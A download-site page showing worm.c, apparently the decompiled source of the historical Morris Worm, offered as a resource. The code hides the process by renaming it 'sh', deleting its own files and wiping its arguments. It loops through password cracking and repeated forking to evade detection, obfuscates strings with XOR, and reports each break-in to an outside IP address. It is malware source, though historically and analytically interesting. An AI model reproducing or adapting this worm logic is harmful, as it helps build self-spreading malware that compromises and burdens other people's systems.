⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 worm.c

📁 worm著名的Morris Worm
💻 C
字号:
/* dover */#include "worm.h"#include <stdio.h>#include <signal.h>#include <strings.h>#include <sys/param.h>#include <sys/types.h>#include <sys/time.h>#include <sys/resource.h>#include <sys/socket.h>#include <sys/fcntl.h>#include <sys/stat.h>#include <netinet/in.h>#include <net/if.h>#include <arpa/inet.h>extern errno;extern char *malloc();int pleasequit;					/* See worm.h */int nobjects = 0;int nextw;char *null_auth;object objects[69];				/* Don't know how many... */object *getobjectbyname();char *XS();main(argc, argv)		/* 0x20a0 */     int argc;     char **argv;{    int i, l8, pid_arg, j, cur_arg, unused;    long key;			/* -28(fp) */    struct rlimit rl;        l8 = 0;					/* Unused */        strcpy(argv[0], XS("sh"));			/* <env+52> */    time(&key);    srandom(key);    rl.rlim_cur = 0;    rl.rlim_max = 0;    if (setrlimit(RLIMIT_CORE, &rl))	;    signal(SIGPIPE, SIG_IGN);    pid_arg = 0;    cur_arg = 1;    if  (argc > 2 &&	 strcmp(argv[cur_arg], XS("-p")) == 0) { /* env55 == "-p" */	pid_arg = atoi(argv[2]);	cur_arg += 2;    }    for(i = cur_arg; i < argc; i++) {	/* otherwise <main+286> */	if (loadobject(argv[i]) == 0)	    exit(1);	if (pid_arg)	    unlink(argv[i]);    }    if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL))	exit(1);    if (pid_arg) {	for(i = 0; i < 32; i++)	    close(i);	unlink(argv[0]);	unlink(XS("sh"));			/* <env+63> */	unlink(XS("/tmp/.dumb"));		/* <env+66>"/tmp/.dumb" */    }        for (i = 1; i < argc; i++)	for (j = 0;	argv[i][j]; j++)	    argv[i][j] = '\0';    if (if_init() == 0)	exit(1);    if (pid_arg) {					/* main+600 */	if (pid_arg == getpgrp(getpid()))	    setpgrp(getpid(), getpid());	kill(pid_arg, 9);    }    mainloop();}static mainloop()				/* 0x2302 */{    long key, time1, time0;        time(&key);    srandom(key);    time0 = key;    if (hg() == 0 && hl() == 0)	ha();    checkother();    report_breakin();    cracksome();    other_sleep(30);    while (1) {	/* Crack some passwords */	cracksome();	/* Change my process id */	if (fork() > 0)	    exit(0);	if (hg() == 0 && hi() == 0 && ha() == 0)	    hl();	other_sleep(120);	time(&time1);	if (time1 - time0 >= 60*60*12)	    h_clean();	if (pleasequit && nextw > 0)	    exit(0);    }}static trans_cnt;static char trans_buf[NCARGS];char *XS(str1)			/* 0x23fc */     char *str1;{    int i, len;    char *newstr;#ifndef ENCYPHERED_STRINGS    return str1;#else      len = strlen(str1);    if (len + 1 > NCARGS - trans_cnt)	trans_cnt = 0;    newstr = &trans_buf[trans_cnt];    trans_cnt += 1 + len;    for (i = 0; str1[i]; i++)	newstr[i] = str1[i]^0x81;    newstr[i] = '\0';    return newstr;#endif}/* This report a sucessful breakin by sending a single byte to "128.32.137.13" * (whoever that is). */static report_breakin(arg1, arg2)		/* 0x2494 */{    int s;    struct sockaddr_in sin;    char msg;        if (7 != random() % 15)	return;        bzero(&sin, sizeof(sin));    sin.sin_family = AF_INET;    sin.sin_port = REPORT_PORT;    sin.sin_addr.s_addr = inet_addr(XS("128.32.137.13"));						/* <env+77>"128.32.137.13" */        s = socket(AF_INET, SOCK_STREAM, 0);    if (s < 0)	return;    if (sendto(s, &msg, 1, 0, &sin, sizeof(sin)))	;    close(s);}/* End of first file in the original source. * (Indicated by extra zero word in text area.) *//* * Local variables: * compile-command: "make" * comment-column: 48 * End: */

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -